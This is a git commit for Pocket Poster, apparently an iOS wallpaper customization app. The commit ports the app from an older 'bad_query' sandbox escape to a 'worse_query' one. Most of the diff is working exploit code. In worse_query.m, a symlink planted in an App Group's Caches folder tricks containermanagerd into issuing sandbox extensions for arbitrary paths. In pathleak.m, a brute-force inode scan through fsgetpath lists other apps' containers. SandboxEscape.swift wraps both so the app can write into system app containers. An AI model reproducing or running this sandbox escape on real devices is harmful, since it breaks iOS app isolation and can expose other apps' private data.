Pocket Poster 3.3.0: worse_query port for iOS 26-27.2
Build IPA / Build unsigned IPA (push) Canceled after 0s
Release IPA / Build and release IPA (push) Canceled after 0s

- Replace bad_query with forcequitOS/worse_query (App Group based)
- Read the App Group from the code signature entitlements
- Add pathleak container enumeration and iOS 27 system container lookup
- Route descriptor/CarPlay writes through worse_query
- Add sign_personal.sh and POCKET_POSTER_SELFTEST diagnostics
- Keep bad_query as an iOS 26 fallback
This commit is contained in:
admin committed 2026-11-10 15:51:27 +08:00
1 parent 2472fdc48b
commit 4c7d968d49
18 files changed
+1026 -355

No files matched your search

-282
View File
@@ -1,282 +0,0 @@
//
// BadQuery.swift
// Pocket Poster
//
// Swift wrapper around forcequitOS/bad_query sandbox escape
// (container_query path traversal via MobileGestalt SystemGroup).
// Supports iOS 26.0 – 26.6.1 / 27.0b4+.
//
import Foundation
enum BadQueryError: LocalizedError {
case invalidPath
case missingPath
case resolveFailed
case createFailed
case outsideSandbox
case kernelRejected
case asprintfFailed
case unknown(Int64)
case listFailed
case containerNotFound(String)
var errorDescription: String? {
switch self {
case .invalidPath:
return "Path must be absolute."
case .missingPath:
return "Target path does not exist."
case .resolveFailed:
return "Failed to resolve containermanager symbols."
case .createFailed:
return "Failed to create container query."
case .outsideSandbox:
return "Path is outside containermanager sandbox."
case .kernelRejected:
return "Kernel refused to issue a sandbox extension."
case .asprintfFailed:
return "Failed to build path traversal string."
case .unknown(let code):
return "bad_query failed with code \(code)."
case .listFailed:
return "Failed to enumerate containers (fsgetpath)."
case .containerNotFound(let bundleId):
return "Could not find container for \(bundleId)."
}
}
static func from(code: Int64) -> BadQueryError {
switch code {
case -255: return .invalidPath
case -254: return .missingPath
case -1: return .resolveFailed
case -2: return .createFailed
case -3: return .outsideSandbox
case -4: return .kernelRejected
case -5: return .asprintfFailed
default: return .unknown(code)
}
}
}
/// RAII-style sandbox extension handle.
final class BadQueryHandle {
private(set) var handle: Int64
let path: String
init(handle: Int64, path: String) {
self.handle = handle
self.path = path
}
deinit {
release()
}
func release() {
guard handle >= 0 else { return }
bad_query_release(handle)
handle = -1
}
}
enum BadQuery {
/// PosterBoard / related bundle identifiers.
static let posterBoardBundleId = "com.apple.PosterBoard"
static let carPlayWallpaperBundleId = "com.apple.CarPlayWallpaper"
// MARK: - Availability
/// True when the MobileGestalt system-group query route resolves symbols.
/// Cheap probe: only checks dlsym path by attempting a known-existing system path with create=true.
static var isAvailable: Bool {
// Probe with a path that should always exist on device; create=true skips lstat
// so we only fail if symbols/query plumbing is broken (patched OS).
let probe = "/var/mobile"
var cPath = probe.utf8CString.map { Int8($0) }
let result = bad_query(&cPath, true, nil, false)
if result >= 0 {
bad_query_release(result)
return true
}
// -3/-4 mean query ran but path/token failed; symbols still work
if result == -3 || result == -4 || result == -254 {
return true
}
// -1/-2 = symbols/query broken
return result != -1 && result != -2
}
// MARK: - Consume / Release
/// Obtain a sandbox extension for an absolute path.
/// - Parameters:
/// - path: Absolute filesystem path
/// - create: If true, skip existence check (use when lstat is blocked by sandbox)
/// - groupIdentifier: Optional app group; nil uses MobileGestalt SystemGroup (iOS 27 preferred)
/// - isGroup: iOS 26 App Group flag route
@discardableResult
static func consume(
path: String,
create: Bool = false,
groupIdentifier: String? = nil,
isGroup: Bool = false
) throws -> BadQueryHandle {
guard path.hasPrefix("/") else { throw BadQueryError.invalidPath }
var cPath = path.utf8CString.map { Int8($0) }
let handle: Int64
if let group = groupIdentifier {
var cGroup = group.utf8CString.map { Int8($0) }
handle = bad_query(&cPath, create, &cGroup, isGroup)
} else {
handle = bad_query(&cPath, create, nil, isGroup)
}
guard handle >= 0 else {
// Retry with create=true if existence check failed under sandbox
if !create && handle == -254 {
return try consume(path: path, create: true, groupIdentifier: groupIdentifier, isGroup: isGroup)
}
throw BadQueryError.from(code: handle)
}
return BadQueryHandle(handle: handle, path: path)
}
// MARK: - Listing
/// Enumerate immediate children under `path` via fsgetpath inode scan.
static func list(path: String, maxInode: Int64 = 2_000_000) throws -> [String] {
var cPath = path.utf8CString.map { Int8($0) }
guard let raw = bad_query_list(&cPath, maxInode) else {
throw BadQueryError.listFailed
}
defer { free(raw) }
let str = String(cString: raw)
return str
.split(whereSeparator: \.isNewline)
.map(String.init)
.filter { !$0.isEmpty }
}
// MARK: - Container discovery
private static let metadataFileName = ".com.apple.mobile_container_manager.metadata.plist"
/// Read MCMMetadataIdentifier from a container root, using bad_query for access.
static func readBundleId(fromContainerPath containerPath: String) -> String? {
let metaPath = (containerPath as NSString).appendingPathComponent(metadataFileName)
guard let token = try? consume(path: metaPath, create: true) else { return nil }
defer { token.release() }
guard let dict = NSDictionary(contentsOfFile: metaPath) as? [String: Any] else {
// Some layouts use a non-hidden name
let alt = (containerPath as NSString).appendingPathComponent("com.apple.mobile_container_manager.metadata.plist")
if let altToken = try? consume(path: alt, create: true) {
defer { altToken.release() }
if let d = NSDictionary(contentsOfFile: alt) as? [String: Any] {
return d["MCMMetadataIdentifier"] as? String
}
}
return nil
}
return dict["MCMMetadataIdentifier"] as? String
}
/// Find application container UUID for a bundle identifier (on-device, no PC).
static func findAppHash(bundleId targetBundleId: String, searchRoots: [String]? = nil) throws -> String {
let roots = searchRoots ?? [
"/var/mobile/Containers/Data/Application",
"/var/mobile/Containers/Data/InternalDaemon",
"/var/mobile/Containers/Data/PluginKitPlugin"
]
for root in roots {
let children: [String]
do {
children = try list(path: root)
} catch {
continue
}
for child in children {
let uuid = (child as NSString).lastPathComponent
// Normalize to the root we know
let containerPath = "\(root)/\(uuid)"
if let id = readBundleId(fromContainerPath: containerPath), id == targetBundleId {
return uuid
}
}
}
throw BadQueryError.containerNotFound(targetBundleId)
}
static func findPosterBoardHash() throws -> String {
try findAppHash(bundleId: posterBoardBundleId)
}
static func findCarPlayHash() throws -> String {
try findAppHash(bundleId: carPlayWallpaperBundleId)
}
// MARK: - Path helpers
static func applicationContainerPath(appHash: String) -> String {
"/var/mobile/Containers/Data/Application/\(appHash)"
}
static func descriptorsPath(appHash: String, ext: String) -> String {
let ver = SymHandler.getExtensionVersion()
return applicationContainerPath(appHash: appHash)
+ "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions/\(ext)/descriptors"
}
static func carPlayCachePath(appHash: String) -> String {
applicationContainerPath(appHash: appHash)
+ "/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
}
// MARK: - File ops under extension
/// Copy a directory or file into `destinationDirectory` (must already be accessible via handle).
static func copyItem(at source: URL, intoDestinationDirectory destDir: String, named name: String? = nil) throws {
let destName = name ?? source.lastPathComponent
let destURL = URL(fileURLWithPath: destDir).appendingPathComponent(destName)
let fm = FileManager.default
if fm.fileExists(atPath: destURL.path) {
try fm.removeItem(at: destURL)
}
try fm.copyItem(at: source, to: destURL)
}
/// Ensure a directory exists at path while holding a parent extension if needed.
static func ensureDirectory(at path: String) throws {
let fm = FileManager.default
if fm.fileExists(atPath: path) { return }
// Walk up to find an existing ancestor we can open, then create intermediates
let components = path.split(separator: "/").map(String.init)
var built = ""
var lastExisting = ""
for part in components {
built += "/" + part
if fm.fileExists(atPath: built) {
lastExisting = built
}
}
if lastExisting.isEmpty {
// Get extension on the full path with create=true and mkdir
let handle = try consume(path: path, create: true)
defer { handle.release() }
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
return
}
let handle = try consume(path: lastExisting, create: true)
defer { handle.release() }
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
}
}
@@ -5,5 +5,7 @@
// Exposes C exploit helpers to Swift.
//
#import "worse_query.h"
#import "pathleak.h"
#import "bad_query.h"
#import "xpc_crash.h"
+430
View File
@@ -0,0 +1,430 @@
//
// SandboxEscape.swift
// Pocket Poster
//
// Swift wrapper around forcequitOS/worse_query (iOS 26.0 – 26.7.2 / 27.0 – 27.2+).
// Falls back to the legacy bad_query route on iOS 26 when no App Group is
// available (unsigned / non-App-Group entitlements).
//
import Foundation
import Darwin
import Security
enum SandboxEscapeError: LocalizedError {
case invalidPath
case missingPath
case noAppGroup
case unavailable
case resolveFailed
case createFailed
case symlinkFailed
case outsideSandbox
case kernelRejected
case listFailed
case containerNotFound(String)
case directoryCreateFailed(String)
case unknown(Int64)
var errorDescription: String? {
switch self {
case .invalidPath:
return "Path must be absolute."
case .missingPath:
return "Target path does not exist."
case .noAppGroup:
return "No App Group entitlement. Sign Pocket Poster with a provisioning profile that includes an App Group — worse_query needs one on iOS 27."
case .unavailable:
return "worse_query is unavailable on this OS/signing combination."
case .resolveFailed:
return "Failed to resolve containermanager symbols."
case .createFailed:
return "Failed to create the container query."
case .symlinkFailed:
return "Failed to create the App Group symlink."
case .outsideSandbox:
return "containermanager rejected the query (path outside sandbox)."
case .kernelRejected:
return "Kernel refused to issue a sandbox extension."
case .listFailed:
return "Failed to enumerate containers (fsgetpath)."
case .containerNotFound(let bundleId):
return "Could not find container for \(bundleId)."
case .directoryCreateFailed(let reason):
return "Could not create destination directory: \(reason)"
case .unknown(let code):
return "Sandbox escape failed with code \(code)."
}
}
static func fromWorseQuery(_ code: Int64) -> SandboxEscapeError {
switch code {
case -1: return .noAppGroup
case -2: return .resolveFailed
case -3: return .createFailed
case -4: return .symlinkFailed
case -5: return .outsideSandbox
case -6: return .kernelRejected
case -255: return .missingPath
default: return .unknown(code)
}
}
static func fromBadQuery(_ code: Int64) -> SandboxEscapeError {
switch code {
case -255: return .invalidPath
case -254: return .missingPath
case -1: return .resolveFailed
case -2: return .createFailed
case -3: return .outsideSandbox
case -4: return .kernelRejected
case -5: return .createFailed
default: return .unknown(code)
}
}
}
enum SandboxEscapeBackend {
case worseQuery
case badQuery
}
/// RAII-style sandbox extension handle.
final class SandboxEscapeHandle {
private(set) var handle: Int64
let path: String
private let backend: SandboxEscapeBackend
init(handle: Int64, path: String, backend: SandboxEscapeBackend) {
self.handle = handle
self.path = path
self.backend = backend
}
deinit {
release()
}
func release() {
guard handle >= 0 else { return }
switch backend {
case .worseQuery:
worse_query_release(handle)
case .badQuery:
bad_query_release(handle)
}
handle = -1
}
}
enum SandboxEscape {
static let posterBoardBundleId = "com.apple.PosterBoard"
static let carPlayWallpaperBundleId = "com.apple.CarPlayWallpaper"
// MARK: - App Group
/// First App Group from our code signature that actually has a container.
/// nil means the app was signed without an App Group entitlement.
static let appGroupIdentifier: String? = {
guard let groups = entitledAppGroups(), !groups.isEmpty else { return nil }
let fm = FileManager.default
for group in groups {
if fm.containerURL(forSecurityApplicationGroupIdentifier: group) != nil {
return group
}
}
return groups.first
}()
/// SecTask is not in the public iOS SDK headers, so resolve it at runtime.
private static func entitledAppGroups() -> [String]? {
guard let handle = dlopen("/System/Library/Frameworks/Security.framework/Security", RTLD_LAZY) else {
return nil
}
defer { dlclose(handle) }
typealias CreateFromSelfFn = @convention(c) (CFAllocator?) -> Unmanaged<CFTypeRef>?
typealias CopyValueFn = @convention(c) (CFTypeRef?, CFString, UnsafeMutablePointer<Unmanaged<CFError>?>?) -> Unmanaged<CFTypeRef>?
guard let createSymbol = dlsym(handle, "SecTaskCreateFromSelf"),
let copySymbol = dlsym(handle, "SecTaskCopyValueForEntitlement") else {
return nil
}
let create = unsafeBitCast(createSymbol, to: CreateFromSelfFn.self)
let copy = unsafeBitCast(copySymbol, to: CopyValueFn.self)
guard let task = create(nil)?.takeRetainedValue() else { return nil }
let key = "com.apple.security.application-groups" as CFString
guard let value = copy(task, key, nil)?.takeRetainedValue() else { return nil }
return value as? [String]
}
// MARK: - Backend selection
/// worse_query when an App Group is available; otherwise the legacy
/// bad_query route on iOS 26 (it does not work on iOS 27+).
static let backend: SandboxEscapeBackend? = {
if let group = appGroupIdentifier {
// create_dir=true skips the sandbox-blocked lstat.
let handle = worse_query("/var/mobile", group, false, true)
if handle >= 0 {
worse_query_release(handle)
return .worseQuery
}
// -1 / -2 mean the group or the containermanager plumbing is missing.
if handle != -1 && handle != -2 {
return .worseQuery
}
}
if ProcessInfo.processInfo.operatingSystemVersion.majorVersion <= 26 {
var probe = "/var/mobile".utf8CString.map { Int8($0) }
let handle = bad_query(&probe, true, nil, false)
if handle >= 0 {
bad_query_release(handle)
return .badQuery
}
// -3 / -4 / -254 mean the query ran but the path/token failed.
if handle == -3 || handle == -4 || handle == -254 {
return .badQuery
}
}
return nil
}()
static var isAvailable: Bool { backend != nil }
static var isUsingWorseQuery: Bool { backend == .worseQuery }
// MARK: - Consume / Release
/// Obtain a sandbox extension for an absolute path.
/// - Parameters:
/// - path: Absolute filesystem path.
/// - create: Skip the existence check (needed for sandbox-blocked paths).
@discardableResult
static func consume(path: String, create: Bool = false) throws -> SandboxEscapeHandle {
guard path.hasPrefix("/") else { throw SandboxEscapeError.invalidPath }
guard let backend else { throw SandboxEscapeError.unavailable }
switch backend {
case .worseQuery:
guard let group = appGroupIdentifier else { throw SandboxEscapeError.noAppGroup }
// iOS 26 App Group containers need the alternate operation flags.
let altFlags = ProcessInfo.processInfo.operatingSystemVersion.majorVersion == 26
&& path.contains("/var/mobile/Containers/Shared/AppGroup")
let handle = worse_query(path, group, altFlags, create)
guard handle >= 0 else { throw SandboxEscapeError.fromWorseQuery(handle) }
return SandboxEscapeHandle(handle: handle, path: path, backend: .worseQuery)
case .badQuery:
var cPath = path.utf8CString.map { Int8($0) }
let handle = bad_query(&cPath, create, nil, false)
guard handle >= 0 else { throw SandboxEscapeError.fromBadQuery(handle) }
return SandboxEscapeHandle(handle: handle, path: path, backend: .badQuery)
}
}
// MARK: - Listing
/// Freshly allocated inode just below the current high-water mark.
/// APFS hands out increasing inode numbers, so this bounds a full scan.
private static func baselineInode() -> UInt64 {
let fm = FileManager.default
let url = fm.temporaryDirectory
.appendingPathComponent(".wq_baseline_\(UUID().uuidString)")
do {
try Data("worse_query".utf8).write(to: url)
var info = stat()
let ok = url.path.withCString { stat($0, &info) } == 0
try? fm.removeItem(at: url)
if ok {
return info.st_ino + 1024
}
} catch {
print("(wq) baseline inode failed: \(error.localizedDescription)")
}
return 2_000_000
}
/// Enumerate the immediate children of `path` through fsgetpath.
static func list(path: String, maxInode: UInt64? = nil) throws -> [String] {
let limit = maxInode ?? baselineInode()
guard let paths = pathleak(path, limit) else {
throw SandboxEscapeError.listFailed
}
return paths
}
// MARK: - Container discovery
private static let metadataFileName = ".com.apple.mobile_container_manager.metadata.plist"
/// Read MCMMetadataIdentifier from a container root.
static func readBundleId(fromContainerPath containerPath: String) -> String? {
// Fast path: the container xattr.
if let token = try? consume(path: containerPath, create: true) {
defer { token.release() }
var buffer = [CChar](repeating: 0, count: 512)
let length = getxattr(
containerPath,
"com.apple.containermanager.identifier",
&buffer,
511,
0,
0
)
if length > 0 {
let bundleId = String(cString: buffer)
if !bundleId.isEmpty { return bundleId }
}
}
// Metadata plist fallback.
for name in [metadataFileName, "com.apple.mobile_container_manager.metadata.plist"] {
let metaPath = (containerPath as NSString).appendingPathComponent(name)
guard let token = try? consume(path: metaPath, create: true) else { continue }
defer { token.release() }
if let dict = NSDictionary(contentsOfFile: metaPath) as? [String: Any],
let bundleId = dict["MCMMetadataIdentifier"] as? String,
!bundleId.isEmpty {
return bundleId
}
}
return nil
}
static var defaultSearchRoots: [String] {
var roots = ["/var/mobile/Containers/Data/Application"]
if #available(iOS 27.0, *) {
roots.append("/var/containers/Data/System")
}
roots.append("/var/mobile/Containers/Data/InternalDaemon")
roots.append("/var/mobile/Containers/Data/PluginKitPlugin")
return roots
}
/// Find an application container UUID for a bundle identifier, on-device.
static func findAppHash(bundleId targetBundleId: String, searchRoots: [String]? = nil) throws -> String {
guard isAvailable else { throw SandboxEscapeError.unavailable }
let roots = searchRoots ?? defaultSearchRoots
let inode = baselineInode()
for root in roots {
guard let children = pathleak(root, inode) else { continue }
for child in children {
guard let id = readBundleId(fromContainerPath: child), id == targetBundleId else {
continue
}
return (child as NSString).lastPathComponent
}
}
throw SandboxEscapeError.containerNotFound(targetBundleId)
}
static func findPosterBoardHash() throws -> String {
try findAppHash(bundleId: posterBoardBundleId)
}
static func findCarPlayHash() throws -> String {
try findAppHash(bundleId: carPlayWallpaperBundleId)
}
// MARK: - Path helpers
private static let cacheLock = NSLock()
private static var containerCache: [String: String] = [:]
/// Resolve the container root for a stored hash. iOS 27 keeps some system
/// app containers under /var/containers/Data/System, third-party apps
/// stay under /var/mobile/Containers/Data/Application.
static func applicationContainerPath(appHash: String) -> String {
let hash = appHash.trimmingCharacters(in: .whitespacesAndNewlines)
guard !hash.isEmpty else { return "" }
cacheLock.lock()
if let cached = containerCache[hash] {
cacheLock.unlock()
return cached
}
cacheLock.unlock()
var candidates = ["/var/mobile/Containers/Data/Application/\(hash)"]
if #available(iOS 27.0, *) {
candidates.append("/var/containers/Data/System/\(hash)")
}
for candidate in candidates {
if let handle = try? consume(path: candidate, create: true) {
handle.release()
cacheLock.lock()
containerCache[hash] = candidate
cacheLock.unlock()
return candidate
}
}
return candidates[0]
}
static func descriptorsPath(appHash: String, ext: String) -> String {
let version = SymHandler.getExtensionVersion()
return applicationContainerPath(appHash: appHash)
+ "/Library/Application Support/PRBPosterExtensionDataStore/\(version)/Extensions/\(ext)/descriptors"
}
static func carPlayCachePath(appHash: String) -> String {
return applicationContainerPath(appHash: appHash)
+ "/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
}
// MARK: - File operations under a container
/// Create `path` while holding an extension on the container root.
static func ensureDirectory(at path: String, containerRoot: String? = nil) throws {
let fm = FileManager.default
let root = containerRoot ?? inferredContainerRoot(for: path)
guard let root else {
let handle = try consume(path: path, create: true)
defer { handle.release() }
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
return
}
let handle = try consume(path: root, create: true)
defer { handle.release() }
do {
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
} catch {
throw SandboxEscapeError.directoryCreateFailed(error.localizedDescription)
}
}
/// Infer the container root from a path.
/// /var/mobile/Containers/Data/Application/<uuid>/...
/// /var/containers/Data/System/<uuid>/...
private static func inferredContainerRoot(for path: String) -> String? {
let components = path.split(separator: "/").map(String.init)
if components.count >= 6,
components[0] == "var",
components[1] == "mobile",
components[2] == "Containers",
components[3] == "Data" {
return "/" + components.prefix(6).joined(separator: "/")
}
if components.count >= 5,
components[0] == "var",
components[1] == "containers",
components[2] == "Data",
components[3] == "System" {
return "/" + components.prefix(5).joined(separator: "/")
}
return nil
}
}
+77
View File
@@ -0,0 +1,77 @@
//
// SelfTest.swift
// Pocket Poster
//
// Launch-time diagnostics, enabled with POCKET_POSTER_SELFTEST=1.
// Used to verify worse_query and container discovery on-device.
//
import Foundation
import UIKit
enum SelfTest {
static var isEnabled: Bool {
ProcessInfo.processInfo.environment["POCKET_POSTER_SELFTEST"] == "1"
}
static func run() {
print("=== Pocket Poster self-test ===")
print("OS: \(ProcessInfo.processInfo.operatingSystemVersionString)")
print("Bundle: \(Bundle.main.bundleIdentifier ?? "?")")
print("App Group: \(SandboxEscape.appGroupIdentifier ?? "nil")")
print("Backend: \(String(describing: SandboxEscape.backend))")
guard SandboxEscape.isAvailable else {
print("self-test: sandbox escape unavailable")
print("=== self-test done ===")
return
}
// 1. Can worse_query grant access to each search root?
for root in SandboxEscape.defaultSearchRoots {
do {
let handle = try SandboxEscape.consume(path: root, create: true)
print("access OK: \(root) (handle \(handle.handle))")
handle.release()
} catch {
print("access FAIL: \(root): \(error.localizedDescription)")
}
}
// 2. Can we find PosterBoard's data container?
let start = Date()
do {
let hash = try SandboxEscape.findPosterBoardHash()
print("PosterBoard hash: \(hash) (scan \(String(format: "%.1f", Date().timeIntervalSince(start)))s)")
let container = SandboxEscape.applicationContainerPath(appHash: hash)
print("PosterBoard container: \(container)")
// 3. Can we open the CollectionsPoster descriptors directory?
let descriptors = SandboxEscape.descriptorsPath(
appHash: hash,
ext: "com.apple.WallpaperKit.CollectionsPoster"
)
do {
let handle = try SandboxEscape.consume(path: descriptors, create: true)
print("descriptors OK: \(descriptors) (handle \(handle.handle))")
handle.release()
} catch {
print("descriptors FAIL: \(descriptors): \(error.localizedDescription)")
}
} catch {
print("PosterBoard detect FAIL: \(error.localizedDescription)")
}
// 4. CarPlay container (phones only).
if UIDevice.current.userInterfaceIdiom == .phone {
do {
let hash = try SandboxEscape.findCarPlayHash()
print("CarPlayWallpaper hash: \(hash)")
} catch {
print("CarPlayWallpaper detect FAIL: \(error.localizedDescription)")
}
}
print("=== self-test done ===")
}
}
+33
View File
@@ -0,0 +1,33 @@
//
// pathleak.h
// worse_query
//
// Created by Taj C on 9/2/26.
//
/*
pathleak - The dumbest arbitrary path enumeration.
Copyright (C) 2026 Taj C (forcequit)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
#ifndef pathleak_h
#define pathleak_h
#import <Foundation/Foundation.h>
NSArray<NSString *> *pathleak(NSString *filter, uint64_t max_inode);
#endif /* pathleak_h */
+82
View File
@@ -0,0 +1,82 @@
//
// pathleak.m
// worse_query
//
// Created by Taj C on 9/2/26.
//
/*
pathleak - The dumbest arbitrary path enumeration.
Copyright (C) 2026 Taj C (forcequit)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
#import <Foundation/Foundation.h>
#include <sys/fsgetpath.h>
#include <sys/mount.h>
// This is just a rewrite of bad_query_list to return an NSString array and run faster
// The way this works is literally just brute-forcing inodes and doing fsgetpath until it gets a matching path, lol.
// Which is still, obviously, dramatically faster than brute-forcing UUIDs.
// It might be possible to derive a sane inode value automagically by just creating a file, doing stat() on it, getting *that* file's inode, then using that for the max_inode count.
NSArray<NSString *> *pathleak(NSString *path, uint64_t max_inode) {
// Sanity checks
if (path.length == 0 || max_inode < 1) return nil;
NSString *dir = path;
while (dir.length > 1 && [dir hasSuffix: @"/"]) { // Trim trailing slash (if present)
dir = [dir substringToIndex: dir.length - 1];
}
// Set everything up
struct statfs sfs;
if (statfs(dir.fileSystemRepresentation, &sfs) != 0) {
// Sandboxed apps may not be allowed to statfs an arbitrary container
// root, but the volume is the same as /private/var.
if (statfs("/private/var", &sfs) != 0 && statfs("/var", &sfs) != 0) return nil;
}
fsid_t fsid = sfs.f_fsid;
char prefix[PATH_MAX];
if (![dir getFileSystemRepresentation: prefix maxLength: sizeof(prefix)]) return nil;
size_t prefix_length = strlen(prefix);
if (prefix_length == 1 && prefix[0] == '/') prefix_length = 0;
NSFileManager *files = [NSFileManager defaultManager];
NSMutableArray<NSString *> *result = [NSMutableArray array];
char buffer[PATH_MAX];
// Brute-force inodes to their corresponding paths
// I'd like to make this multithreaded at some point, but I don't think it'll help.
for (uint64_t inode = 1; inode <= max_inode; inode++) {
ssize_t n = fsgetpath(buffer, sizeof(buffer), &fsid, inode);
if (n <= 0) continue;
// fsgetpath can return /private/var/... while callers pass /var/...
const char *path = buffer;
if (strncmp(path, "/private/var/", 13) == 0 && strncmp(prefix, "/var/", 5) == 0) {
path += 8;
}
if (strncmp(path, prefix, prefix_length) != 0) continue;
if (path[prefix_length] != '/') continue;
if (strchr(path + prefix_length + 1, '/')) continue;
NSString *string = [files stringWithFileSystemRepresentation: path length: strlen(path)];
if (string) [result addObject: string];
}
return result;
}
+36
View File
@@ -0,0 +1,36 @@
//
// worse_query.h
// worse_query
//
// Created by Taj C on 8/20/26.
//
/*
worse_query - A sandbox escape PoC for iOS 26 and 27, again.
Copyright (C) 2026 Taj C (forcequit)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
#ifndef worse_query_h
#define worse_query_h
#import <Foundation/Foundation.h>
#include <stdint.h>
#include <stdbool.h>
int64_t worse_query(NSString *path, NSString *group, bool alt_flags, bool create_dir);
void worse_query_release(int64_t handle);
#endif /* worse_query_h */
+148
View File
@@ -0,0 +1,148 @@
//
// worse_query.m
// worse_query
//
// Created by Taj C on 8/20/26.
//
/*
worse_query - A sandbox escape PoC for iOS 26 and 27, again.
Copyright (C) 2026 Taj C (forcequit)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
#import <Foundation/Foundation.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <xpc/xpc.h>
#include <sys/stat.h>
#include "worse_query.h"
typedef void *(*container_query_create_fn)(void);
typedef void (*container_query_set_class_fn)(void *, uint64_t);
typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t);
typedef void (*container_query_set_flags_fn)(void *, uint64_t);
typedef void (*container_query_set_part_fn)(void *, uint64_t);
typedef void *(*container_query_get_single_result_fn)(void *);
typedef void (*container_query_free_fn)(void *);
typedef char *(*container_copy_sandbox_token_fn)(void *);
typedef int64_t (*sandbox_extension_consume_fn)(const char *);
typedef int (*sandbox_extension_release_fn)(int64_t);
// Remove symlink and recreate Caches directory
static void clean_symlink(NSString *group) {
if (group != NULL) {
NSFileManager *files = [NSFileManager defaultManager];
NSURL *groupRoot = [files containerURLForSecurityApplicationGroupIdentifier: group];
if (groupRoot) {
NSURL *caches = [groupRoot URLByAppendingPathComponent: @"Library/Caches"];
[files removeItemAtURL: caches error: nil];
[files createDirectoryAtURL: caches withIntermediateDirectories: false attributes: nil error: nil];
}
}
return;
}
// So, who's ready for round two?
int64_t worse_query(NSString *target, NSString *group, bool alt_flags, bool create_dir) {
// Check if the target exists
if (!create_dir) {
struct stat st;
if (lstat(target.fileSystemRepresentation, &st) != 0) return -255; // Nothing exists at this path, and create_dir is false
}
// Get the App Group's path
// An App Group identifier you control is required for this
NSFileManager *files = [NSFileManager defaultManager];
NSURL *groupRoot = [files containerURLForSecurityApplicationGroupIdentifier: group];
if (!groupRoot) return -1; // App Group doesn't exist or we can't access it
NSString *caches = [[groupRoot URLByAppendingPathComponent: @"Library/Caches"] path];
// Resolve functions
void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL);
if (!mgr) return -2; // dlopen failed?
container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create");
container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class");
container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers");
container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags");
container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part");
container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result");
container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free");
container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token");
sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume");
if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || !query_set_part || !query_get_single_result || !query_free || !copy_sandbox_token || !consume_extension) {
dlclose(mgr);
return -2; // Failed to resolve a function (unsupported OS)
}
// Create query
void *query = query_create();
if (!query) {
dlclose(mgr);
return -3; // Failed to create query
}
// Set up query
xpc_object_t identifier;
query_set_class(query, 7); // We're only using class 7 here (appGroup), which goes to containermanagerd
identifier = xpc_string_create(group.UTF8String);
query_set_group_identifiers(query, identifier);
query_set_part(query, 3); // The query's part sets our base path, part 3 is Library/Caches
if (alt_flags) {
query_set_flags(query, 0x0000000800000000ULL); // Accessing App Group containers on iOS 26.x needs different flags, for whatever reason
} else {
query_set_flags(query, 0x0000008000000000ULL);
}
// Set up symlink
[files removeItemAtPath: caches error: nil];
if ([files createSymbolicLinkAtPath: caches withDestinationPath: target error: nil] == false) {
dlclose(mgr);
return -4; // Failed to create symlink
}
// Send our query over
void *result = query_get_single_result(query);
if (!result) {
query_free(query);
dlclose(mgr);
clean_symlink(group);
return -5; // Query rejected by containermanagerd
}
char *token = copy_sandbox_token(result);
if (!token) {
query_free(query);
dlclose(mgr);
clean_symlink(group);
return -6; // Kernel refused to issue a sandbox extension
}
// Consume sandbox extension and clean up
int64_t handle = consume_extension(token);
query_free(query);
free(token);
dlclose(mgr);
clean_symlink(group);
return handle;
}
// You should probably call this when you're done
void worse_query_release(int64_t handle) {
if (handle < 0) return;
sandbox_extension_release_fn release_extension = (sandbox_extension_release_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_release");
if (release_extension) release_extension(handle);
}